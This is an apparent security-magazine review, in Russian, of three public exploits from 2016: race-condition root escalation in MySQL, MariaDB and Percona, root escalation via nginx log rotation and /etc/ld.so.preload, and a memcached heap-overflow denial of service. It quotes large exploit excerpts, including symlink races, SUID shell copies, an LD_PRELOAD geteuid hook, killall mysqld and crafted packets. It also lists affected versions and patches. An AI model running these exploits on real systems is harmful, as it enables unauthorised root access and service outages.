В этом выпуске обзора мы рассмотрим три эксплоита. Один использует уязвимость в MySQL и некоторых других БД, которая приводит к выполнению произвольного кода с правами root. Второй создан тем же автором и эксплуатирует особенности ротации логов nginx с похожим результатом. Третий приводит memcached к отказу в обслуживании и опять же удаленному выполнению кода.
 

Локальное повышение привилегий и выполнение кода с правами root в MySQL, MariaDB и Percona

Дата релиза: 1 ноября 2016 года
Автор: Давид Голунский (Dawid Golunski)
CVE: CVE-2016-6663, CVE-2016-6664

BRIEF

Давид Голунский продолжает выкладывать результаты своих исследований MySQL-подобных баз данных. Не так давно он опубликовал рисерч уязвимости CVE-2016-6662, которая позволяет поднимать привилегии до root с помощью создания конфигов my.cnf. Мы рассмотрим очередную порцию уязвимостей из этой серии.

На этот раз проблема повышения привилегий закралась в механизм работы с временными файлами таблиц. При выполнении запроса REPAIR TABLE можно выиграть «состояние гонки» (race condition) и сделать доступным для чтения и записи нужный нам файл или директорию.

EXPLOIT

Чтобы поближе рассмотреть причину уязвимости, нам понадобятся: MySQL версии не выше 5.5.51 (5.6.32, 5.7.14), пользователь БД с низкими привилегиями (CREATE/INSERT/SELECT), strace, немного терпения и пластиковая бутылка. Мой тестовый стенд — это Debian 8.5 и MySQL 5.5.49.

Путешествие начинается с того, что я создаю директорию с правами 777 для будущей таблицы. Да-да, при создании таблицы можно указать путь, где будут расположены относящиеся к ней файлы.

mkdir /tmp/exptable
chmod 777 /tmp/exptable
ls -ld /tmp/exptable

Теперь создаем саму таблицу.

CREATE TABLE exptbl (pes varchar(50)) engine = 'MyISAM' data directory '/tmp/exptable';

Смотрим, что вышло, набрав ls -lua /tmp/exptable. Ты увидишь, что сервер MySQL создал файл для таблицы с правами 660, а владельцем будет пользователь mysql.

Теперь нам нужно отправить запрос REPAIR TABLE. Его могут выполнять пользователи с привилегиями (CREATE/INSERT/SELECT).

REPAIR TABLE 'exptbl';

В соседнем терминале я запущу strace для того, чтобы посмотреть, какие операции с файлами осуществляются в процессе выполнения запросов.

[pid  7783] lstat64("/tmp/exptable/exptbl.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid  7783] open("/tmp/exptable/exptbl.MYD", O_RDWR|O_LARGEFILE) = 33
...
[pid  7833] open("/tmp/exptable/exptbl.TMD", O_RDWR|O_CREAT|O_EXCL|O_TRUNC|O_LARGEFILE, 0660) = 192
[pid  7783] close(192)                  = 0
[pid  7833] chmod("/tmp/exptable/exptbl.TMD", 0660) = 0
[pid  7833] chown32("/tmp/exptable/exptbl.TMD", 119, 125) = 0
[pid  7833] unlink("/tmp/exptable/exptbl.MYD") = 0
[pid  7833] rename("/tmp/exptable/exptbl.TMD", "/tmp/exptable/exptbl.MYD") = 0

Сначала проверяются права файла exptbl.MYD, затем chmod() ставит такие же на временный файл exptbl.TMD.

Далее chown() меняет владельца файла на mysql. После этого файл с «поврежденной» таблицей удаляется, a файл exptbl.TMD с восстановленной таблицей занимает его место.

Между вызовами lstat64("/tmp/exptable/exptbl.MYD"...) и chmod("/tmp/exptable/exptbl.TMD", 0660) = 0 возникает состояние гонки.

Операции с файлами при выполнении REPAIR TABLE
Операции с файлами при выполнении REPAIR TABLE

Если успеть заменить временный exptbl.TMD до вызова chmod() симлинком, то это даст возможность установить любые права на файлы или директории, владельцем которых является пользователь mysql. Например, можно сделать доступной для чтения и записи директорию /var/lib/mysql, там по умолчанию хранятся файлы всех таблиц. Управлять устанавливаемыми правами можно через exptbl.MYD, перед вызовом REPAIR TABLE.

Это все, конечно, интересно, но можно провернуть более хитрый трюк и получить шелл, запущенный с правами пользователя mysql. Дальнейшие действия логичнее будет рассматривать в контексте эксплоита самого Давида.

Общий сценарий таков:

  • ставим права 04777 на файл с таблицей;
  • делаем REPAIR TABLE;
  • выигрываем гонку и заменяем временную таблицу файлом /bin/bash;
  • chmod() копирует права на запуск и бит SUID. Таким образом, шелл будет запускаться от пользователя mysql.

Сначала подготавливаем папку для будущей таблицы.

40678.c:

53:      #define EXP_DIRN          "mysql_privesc_exploit"
...
151:     system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
152:     system("chmod g+s /tmp/" EXP_DIRN );

Бит g+s означает, что все новые файлы и папки будут иметь группу родительской директории. Это нужно для того, чтобы обойти проблему с невозможностью перезаписи содержимого временного файла. Посмотри на права, с которыми он создается:

-rw-rw----  1 mysql mysql      0 Dec  9 17:58 exptbl.TMD

Его владелец и группа — mysql, поэтому не получится заменить его содержимое файлом /bin/bash. А вот так выглядят права после установки нужного бита на директорию:

-rw-rw----  1 mysql dog       0 Dec  9 17:59 exptbl.MYD

Теперь файл принадлежит нашей группе и на его место можно копировать шелл.

40678.c:

57:  #define SUID_SHELL        EXP_PATH "/mysql_suid_shell.MYD"
...
164: system("cp /bin/bash " SUID_SHELL);

Автор использует функции ядра inotify для того, чтобы отслеживать изменения файловой системы (IN_CREATE и IN_CLOSE) в директории /tmp/mysql_privesc_exploit. Это поможет вовремя перехватить событие и начать атаку race condition.

40678.c:

52:  #define EXP_PATH          "/tmp/mysql_privesc_exploit"
...
168: fd = inotify_init();
169: if (fd < 0) {
170:   printf("failed to inotify_initn");
171:   return -1;
172: }
173: ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);

Далее форкается отдельный процесс для асинхронного выполнения запросов REPAIR TABLE. Без этого никакой гонки не выиграть.

40678.c:

199: pid = fork();
200: if (pid < 0) {
201:   fprintf(stderr, "Fork failed :(n");
202: }
...
205: if (pid == 0) {
206:   usleep(500);
207:   unlink(MYSQL_TEMP_FILE);
208:   mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
209:   // child stops here
210:   exit(0);
211: }

Тем временем в родительском процессе обрабатываются события от inotify, и если попадается нужное, то на файл с таблицей устанавливаются нужные права (+s +x).

40678.c:

54:  #define MYSQL_TAB_FILE    EXP_PATH "/exploit_table.MYD"
...
230: unlink(MYSQL_TAB_FILE);
231: myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
232: close(myd_handle);
233: chmod(MYSQL_TAB_FILE, 04777);

Я считаю этот шаг избыточным, достаточно в самом начале выставить нужные права на файл, и MySQL не сможет выполнить запрос REPAIR TABLE, так как владельцем файла будет наш юзер.

Дальше по коду идет процедура награждения самых быстрых гонщиков — пытаемся заменить временный файл с таблицей на симлинк до нашего шелла.

40678.c:

55:  #define MYSQL_TEMP_FILE   EXP_PATH "/exploit_table.TMD"
...
236: unlink(MYSQL_TEMP_FILE);
237: symlink(SUID_SHELL, MYSQL_TEMP_FILE);

Затем проверяем успешность эксплуатации:

40678.c:

253: if ( lstat(SUID_SHELL, &st) == 0 ) {
254:   if (st.st_mode & S_ISUID) {
255:     is_shell_suid = 1;
256:   }
257: }

Если не вышло, то запускаем весь алгоритм еще раз и так далее, пока не добьемся успеха.

40678.c:

180:  while ( is_shell_suid != 1 ) {

Когда права на шелл будут успешно установлены, эксплоит запустит его и мы попадем в консоль с правами пользователя mysql.

Успешная эксплуатация. Теперь я mysql
Успешная эксплуатация. Теперь я mysql

Если карабкаться дальше по пищевой цепочке, то можно продвинуться и до суперпользователя. Код эксплоита Голунского недвусмысленно нам на это намекает! Воспользуемся советом и рассмотрим повышение привилегий с помощью уязвимости CVE-2016-6664.

Чтобы управлять демоном mysqld, здесь используется скрипт-обертка mysqld_safe. В нем есть один интересный участок кода, который связан с лог-файлами.

mysql_safe:

793:   if [ $want_syslog -eq 0 -a ! -f "$err_log" ]; then
794:     touch "$err_log"                    # Hypothetical: log was renamed but not
795:     chown $user "$err_log"              # Flushed yet. We’d recreate it with
796:     chmod "$fmode" "$err_log"           # Wrong owner next time we log, so set
797:   fi                                    # It up correctly while we can!

Если включено логирование в файл (а оно включено по умолчанию), то при каждом старте mysqld будет пересоздаваться файл error.log (строка 794). Скрипт запускается от рута, а директория с логами доступна для записи юзеру mysql, так что мы можем создать файл в любом месте, используя уже знакомую тактику с симлинками.

mysql@debian:/$ ps -aux|grep mysql
root       730  0.0  0.0   2272  1264 ?        S    Dec10   0:00 /bin/sh /usr/bin/mysqld_safe
mysql     1161  0.0  1.1 628744 23792 ?        Sl   Dec10   1:08 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306

Затем враппер любезно меняет владельца файла на mysql, и файл становится доступным для редактирования нашему пользователю (строки 795 и 796). Это означает, что можно применить технику для поднятия привилегий при помощи /etc/ld.so.preload. Подробнее о ней читай дальше — в обзоре уязвимости nginx.

40679.sh:

050: PRIVESCLIB="/tmp/privesclib.so"
051: PRIVESCSRC="/tmp/privesclib.c"
...
127: /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
...
144: # Symlink the log file to /etc
145: rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG

Теперь остается перезагрузить сервис MySQL. Нет ничего проще! Помимо логов, враппер следит за процессом mysqld, и если тот падает, то перезагружает его. Так как сам процесс стартует от пользователя mysql, мы можем свободно его убить командой kill.

40679.sh:

154: read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWER
155: if [ "$THE_ANSWER" = "y" ]; then
156:    echo -e "Got it. Executing 'killall mysqld' now..."
157:    killall mysqld #
158: fi

После всех манипуляций имеем суидную копию баша в /tmp/mysqlrootsh. Запускаем ее и мы рут.

Успешная эксплуатация номер два. Теперь root!
Успешная эксплуатация номер два. Теперь root!

На этом с MySQL закончим. Если хочешь еще ближе посмотреть на причины багов, то советую проанализировать их фиксы.

TARGETS

MySQL <= 5.5.51, <= 5.6.32, <= 5.7.14
MariaDB < 5.5.52, < 10.1.18, < 10.0.28
Percona Server < 5.5.51-38.2, < 5.6.32-78-1, < 5.7.14-8
Percona XtraDB Cluster < 5.6.32-25.17, < 5.7.14-26.17, < 5.5.41-37.0

SOLUTION

В настоящее время выпущены свежие версии приложений, в которых уязвимость исправлена.

 

Локальное повышение привилегий до root в nginx

Дата релиза: 15 ноября 2016 года
Автор: Давид Голунский (Dawid Golunski)
CVE: CVE-2016-1247

BRIEF

И снова эксплоит Давида Голунского. На этот раз его руки и пытливый ум дотянулись до прокси-сервера nginx. Проблема довольно банальна и присутствует только в Debian-подобных дистрибутивах Linux (в том числе Ubuntu). При установке пакетов сервера из официальных репозиториев скрипт создает папку /var/log/nginx, владельцем которой является юзер www-data. Сам демон nginx работает от суперпользователя, поэтому создание симлинков вместо лог-файлов позволяет манипулировать файлами от его имени.

EXPLOIT

После установки nginx через apt-get ты можешь проверить, что владелец папки с логами действительно пользователь www-data.

drwxr-x--- 2 www-data adm 4096 Dec  5 07:35 /var/log/nginx/

Теперь давай пробежимся по коду эксплоита и рассмотрим ключевые моменты успешной эксплуатации.

В качестве аргумента для запуска эксплоита указываем путь до лог-файла nginx.

40768.sh:

107: # Args
108: if [ $# -lt 1 ]; then
109:    echo -e "n[!] Exploit usage: nn$0 path_to_error.log n"
110:    echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`n"
111:    exit 3
112: fi

Компилируем либу, которая будет ставить бит SUID на шелл и менять его владельца на root.

40768.sh:

53: PRIVESCLIB="/tmp/privesclib.so"
54: PRIVESCSRC="/tmp/privesclib.c"
...
135: cat <<_solibeof_>$PRIVESCSRC
...
156: /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"

Библиотека хукает функцию geteuid. Если она вызывается от root, то нужные пермишены устанавливаются на файл с шеллом. В переменной old_geteuid хранится указатель на оригинальную geteuid, результат которой и возвращается после всех манипуляций.

40768.sh:

051: BACKDOORSH="/bin/bash"
052: BACKDOORPATH="/tmp/nginxrootsh"
...
145: uid_t geteuid(void) {
146:    static uid_t  (*old_geteuid)();
147:    old_geteuid = dlsym(RTLD_NEXT, "geteuid");
148:    if ( old_geteuid() == 0 ) {
149:        chown("$BACKDOORPATH", 0, 0);
150:        chmod("$BACKDOORPATH", 04777);
151:        unlink("/etc/ld.so.preload");
152:    }
153:    return old_geteuid();
154: }
...
164: cp $BACKDOORSH $BACKDOORPATH

Дальше скрипт удаляет оригинальный лог-файл и заменяет его симлинком на /etc/ld.so.preload.

40768.sh:

124: ERRORLOG="$1"
...
174: rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG

Магия /etc/ld.so.preaload заключается в том, что если этот файл существует, то каждый бинарник при запуске будет подгружать указанные в нем библиотеки.

Вот только писать файлы в /etc может исключительно рут. Пройдя по симлинку, эту работу за нас проделает nginx, а для этого нужно дождаться открытия лог-файлов. Происходит это в тех случаях, когда сервис перезагружается или его процесс получает сигнал USR1. В Debian такой сигнал по умолчанию отправляет функция do_rotate(), которую вызывает скрипт logrotate.

/etc/logrotate.d/nginx:

01: /var/log/nginx/*.log {
02:         daily
...
08:         create 0640 www-data adm
...
15:         postrotate
16:                 invoke-rc.d nginx rotate >/dev/null 2>&1
17:         endscript

/etc/init.d/nginx:

88: #
89: # Rotate log files
90: #
91: do_rotate() {
92:         start-stop-daemon --stop --signal USR1 --quiet --pidfile $PID --name $NAME
93:         return 0
94: }

Настройки по умолчанию вызывают скрипт ротации логов ежедневно в 6:25 утра, и если nginx настроен на архивацию логов каждый день, то нужно подождать сутки до успешной эксплуатации.

40768.sh:

185: echo -ne "n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
186: while :; do
187:    sleep 1
188:    if [ -f /etc/ld.so.preload ]; then
189:        echo $PRIVESCLIB > /etc/ld.so.preload
190:        rm -f $ERRORLOG
191:        break;
192:    fi
193: done

Для демонстрации можно ускорить выполнение нужных функций командой /usr/sbin/logrotate -vf /etc/logrotate.d/nginx. Также стоит отметить, что архивация сработает, только если в файле access.log есть хотя бы одна запись. Поэтому в эксплоите выполняется следующая команда:

40768.sh:

182: curl http://localhost/ >/dev/null 2>/dev/null

Файл /etc/ld.so.preload создался, и его владельцем стал www-data:

-rw-r--r-- 1 www-data root 13 Dec 10 13:33 /etc/ld.so.preload

После успешного создания файла добавляем в него путь до скомпилированной библиотеки.

40768.sh:

53: PRIVESCLIB="/tmp/privesclib.so"
...
196: # Inject the privesc.so shared library to escalate privileges
197: echo $PRIVESCLIB > /etc/ld.so.preload
...
201: chmod 755 /etc/ld.so.preload

Последним шагом в эксплоите вызывается sudo для установки нужных привилегий на копию шелла.

40768.sh:

204: echo -e "n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
205: sudo 2>/dev/null >/dev/null

Вообще, сгодится любой бинарник, который принадлежит руту, имеет бит SUID и вызывает функцию geteuid, например mount.

Лог strace показывает нам, что все прошло успешно.

access("/etc/ld.so.preload", R_OK)      = 0
open("/etc/ld.so.preload", O_RDONLY|O_CLOEXEC) = 3
...
open("/tmp/privesclib.so", O_RDONLY|O_CLOEXEC) = 3
...
geteuid32()                             = 0
chown32("/tmp/nginxrootsh", 0, 0)       = 0
chmod("/tmp/nginxrootsh", 04777)        = 0
geteuid32()                             = 0

Результат работы эксплоита — суидная копия /bin/bash. Запускаем и получаем шелл с привилегиями суперпользователя. Pwned.

40768.sh:

052: BACKDOORPATH="/tmp/nginxrootsh"
...
227: echo -e "n[+] Spawning the rootshell $BACKDOORPATH now! n"
228: $BACKDOORPATH -p -i
Успешное повышение привилегий через nginx
Успешное повышение привилегий через nginx

TARGETS

В Debian — nginx младше 1.6.2-5+deb8u3, в Ubuntu 16.10 — nginx до версии 1.10.1-0ubuntu1.1, в 16.04 LTS — до 1.10.0-0ubuntu0.16.04.3, в 14.04 LTS — до 1.4.6-1ubuntu3.6.

SOLUTION

Уязвимость была исправлена в новых версиях пакетов, так что советую всем обновиться как можно скорее. Или же ручками поправить права на папку с лог-файлами nginx.

 

Удаленное выполнение произвольного кода и отказ в обслуживании memcached

Дата релиза: 1 октября 2016 года
Автор: Александр Николич (Aleksandar Nikolic) из Cisco Talos
CVE: CVE-2016-8704, CVE-2016-8705, CVE-2016-8706
CVSSv3: 9.8, 9.8, 8.1

BRIEF

В сервере memcached было найдено сразу три уязвимости. Их успешная эксплуатация приводит к переполнению буфера в области данных приложения. Атакующий может вызвать отказ в обслуживании, прочитать некоторые участки памяти или выполнить произвольный код на целевой системе с правами пользователя, от которого запущен демон. Уязвимыми оказались несколько команд для работы с хранилищем ключей: set, add, replace, append, prepend и их тихие версии с суффиксом Q. Досталось и реализации протокола аутентификации SASL.

EXPLOIT

Так как уязвимости однотипны, рассмотрим только один DoS-эксплоит для CVE-2016-8705. Мой тестовый стенд — Debian 8.5, memcached версии 1.4.32 и для отладки GDB + PEDA.

«Мемкеш» поддерживает два протокола для взаимодействия с данными — текстовый (ASCII) и двоичный. При использовании второго как раз и возникают проблемы. В бинарных протоколах часто бывают указаны размеры блоков передаваемых данных. Протокол memcached — не исключение.

Ошибка возникает при работе с памятью в функции do_item_alloc.

items.c:

145: item *do_item_alloc(char *key, const size_t nkey, const unsigned int flags,
146:                     const rel_time_t exptime, const int nbytes) {
...
151:     size_t ntotal = item_make_header(nkey + 1, flags, nbytes, suffix, &nsuffix);
...
180:         it = slabs_alloc(ntotal, id, &total_bytes, 0);
...
238:     memcpy(ITEM_key(it), key, nkey);
239:     it->exptime = exptime;
240:     memcpy(ITEM_suffix(it), suffix, (size_t)nsuffix);
241:     it->nsuffix = nsuffix;

В коде используются переменные nkey и nbytes для того, чтобы вычислить количество памяти, которую нужно выделить. Затем в эту область копируются пользовательские данные, причем проверка на их длину отсутствует. Выходит, что если размер данных будет больше размера выделенной памяти, то произойдет переполнение буфера.

Согласно CVE-2016-8704, уязвимы команды Append (0x0e), Prepend (0x0f), AppendQ (0x19) и PrependQ (0x1a).

protocol_binary.h:

095:         PROTOCOL_BINARY_CMD_APPEND = 0x0e,
096:         PROTOCOL_BINARY_CMD_PREPEND = 0x0f,
...
106:         PROTOCOL_BINARY_CMD_APPENDQ = 0x19,
107:         PROTOCOL_BINARY_CMD_PREPENDQ = 0x1a,

При выполнении команд проверяется только длина самого ключа, но не данных.

memcached.c:

2044:     case PROTOCOL_BINARY_CMD_APPENDQ:
2045:         c->cmd = PROTOCOL_BINARY_CMD_APPEND;
2046:         break;
2047:     case PROTOCOL_BINARY_CMD_PREPENDQ:
2048:         c->cmd = PROTOCOL_BINARY_CMD_PREPEND;
2049:         break;
...
2066:     switch (c->cmd) {
...
2122:         case PROTOCOL_BINARY_CMD_APPEND:
2123:         case PROTOCOL_BINARY_CMD_PREPEND:
2124:             if (keylen > 0 && extlen == 0) {
2125:                 bin_read_key(c, bin_reading_set_header, 0);
2126:             } else {
2127:                 protocol_error = 1;
2128:             }
2129:             break;

Для примера рассмотрим пакет из эксплоита. Формат бинарных пакетов memcached я описывать не буду, но если тебе интересно, почитай о нем здесь.

Длина ключа указана равная FA, а размер данных равен нулю.

40695.c:

09: key_len = struct.pack("!H",0xfa)
...
13: body_len = struct.pack("!I",0)

После чтения данных из отправленного пакета их обрабатывает функция process_bin_append_prepend.

memcached.c:

2282: static void process_bin_append_prepend(conn *c) {
2283:     char *key;
2284:     int nkey;
2285:     int vlen;
2286:     item *it;

Обрати внимание на типы переменных nkey и vlen. Они объявлены как целые со знаком, тогда как тип keylen — целое число без знака.

protocol_binary.h:

155:             uint16_t keylen;
...
159:             uint32_t bodylen;
...
164:     } protocol_binary_request_header;

gdb-peda$ ptype nkey
type = int
gdb-peda$ ptype vlen
type = int
gdb-peda$ ptype c->binary_header.request.keylen
type = unsigned short
gdb-peda$ ptype c->binary_header.request.bodylen
type = unsigned int

Чтобы посмотреть, как обрабатывается запрос, я воспользуюсь GDB, а чтобы удобнее было отлаживать, я предварительно скомпилировал memcached с отладочными символами.

Поставим брейк-поинт gdb-peda$ b memcached.с:2291 и отправим пакет серверу. Затем немного потрейсим код, чтобы понять, что именно происходит при обработке запроса. Все данные отправляются одним блоком (key + keydata), а в заголовках пакета передаются размеры. В нашем случае этот блок (AAAAAAA...) лежит по адресу b6333b80.

40695.c:

16: body = "A"*1024

gdb-peda$ x/7xs 0xb6333b80
0xb6333b80: 'A' <repeats 200 times>...
0xb6333c48: 'A' <repeats 200 times>...
0xb6333d10: 'A' <repeats 200 times>...
0xb6333dd8: 'A' <repeats 200 times>...
0xb6333ea0: 'A' <repeats 200 times>...
0xb6333f68: 'A' <repeats 26 times>
0xb6333f83: ""

Функция binary_get_key возвращает указатель на имя ключа.

memcached.c:

2290:     key = binary_get_key(c);

memcached.c:

1130: static char* binary_get_key(conn *c) {
1131:     return c->rcurr - (c->binary_header.request.keylen);
1132: }

gdb-peda$ print c->rcurr
$26 = 0xb6333c7a 'A' <repeats 200 times>...
gdb-peda$ x/5xs 0xb6333c7a
0xb6333c7a: 'A' <repeats 200 times>...
0xb6333d42: 'A' <repeats 200 times>...
0xb6333e0a: 'A' <repeats 200 times>...
0xb6333ed2: 'A' <repeats 176 times>
0xb6333f83: ""

Получается, что ключ лежит по адресу b6333b80.

gdb-peda$ print key
$24 = 0xb6333b80 'A' <repeats 200 times>...

Следующий шаг — это вычисление размера памяти, который требуется для хранения значения (vlen). Для этого нужно взять общий размер переданного блока и вычесть длину ключа. Так мы найдем смещение, с которого начинаются данные.

memcached.c:

2291:     nkey = c->binary_header.request.keylen; # 0хFA, как ты помнишь

Так как мы передали ноль в качестве размера данных (c->binary_header.request.bodylen = 0), то на выходе получим отрицательное значение. Произошло целочисленное переполнение.

memcached.c:

2292:     vlen = c->binary_header.request.bodylen - nkey; # 0-0хFA =0xffffff06 (-250)

Теперь подготовленные данные передаются в функцию item_alloc. Это обертка над do_item_alloc, той самой функции, о которой говорилось в начале.

memcached.c:

2302:     it = item_alloc(key, nkey, 0, 0, vlen+2);

item_alloc (key=0xb6333b80 'A' <repeats 200 times>..., nkey=0xfa, flags=0x0, exptime=0x0, nbytes=0xffffff08) at thread.c:538
538     it = do_item_alloc(key, nkey, flags, exptime, nbytes);

Функция item_make_header возвращает общий размер заголовка для создания записи.

items.c:

145: item *do_item_alloc(char *key, const size_t nkey, const unsigned int flags,
146:                     const rel_time_t exptime, const int nbytes) {
...
151:     size_t ntotal = item_make_header(nkey + 1, flags, nbytes, suffix, &nsuffix);

Затем функция slabs_alloc выделяет место в памяти для хранения этого объекта.

items.c:

180:         it = slabs_alloc(ntotal, id, &total_bytes, 0);

И наконец, вызывается функция memcpy, которая копирует данные в выделенную область памяти. При ее выполнении и происходит переполнение кучи, heap overflow.

gdb-peda$ where
#0  do_item_alloc (key=0xb6333b80 'A' <repeats 200 times>..., nkey=0xfa, flags=0x0, exptime=0x0, nbytes=0xffffff08) at items.c:238

items.c:

236:     it->nkey = nkey;
237:     it->nbytes = nbytes;
238:     memcpy(ITEM_key(it), key, nkey);
Момент переполнения
Момент переполнения

Простая отправка пакета хоть и вызывает переполнение, но не приводит к полному падению демона memcached. Поэтому найденную уязвимость можно эксплуатировать многократно и использовать, например, для извлечения данных из памяти.

Процесс упадет в том случае, если изменить существующий ключ, а затем запросить его. Что и делает рассматриваемый эксплоит.

40695.c:

21: packet = MEMCACHED_REQUEST_MAGIC + OPCODE_PREPEND_Q + key_len + extra_len
22: packet += data_type + vbucket + body_len + opaque + CAS
23: packet += body
24:
25: set_packet = "set testkey 0 60 4rntestrn"
26: get_packet = "get testkeyrn"
...
30: s1.sendall(set_packet) # Отправляем пакет на создание ключа testkey
...
37: s2.sendall(packet) # Отправляем пакет, приводящий к переполнению кучи
..
43: s3.sendall(get_packet) # Пытаемся получить ключ testkey. Мемкеш падает.
44: s3.recv(1024)
45: s3.close()
Эксплоит отработал успешно. «Мемкеш» отдыхает
Эксплоит отработал успешно. «Мемкеш» отдыхает

TARGETS

Уязвимы все версии memcached вплоть до 1.4.32.

SOLUTION

Разработчики исправили уязвимость и выпустили патчи в виде новой версии сервера под номером 1.4.33. Так что обновляйся и make memcached great again!

1 комментарий

  1. Аватар

    Inject0r

    17.04.2017 в 08:24

    Вопрос новичка, а как скомпилировать эксплоит для memcached?

Оставить мнение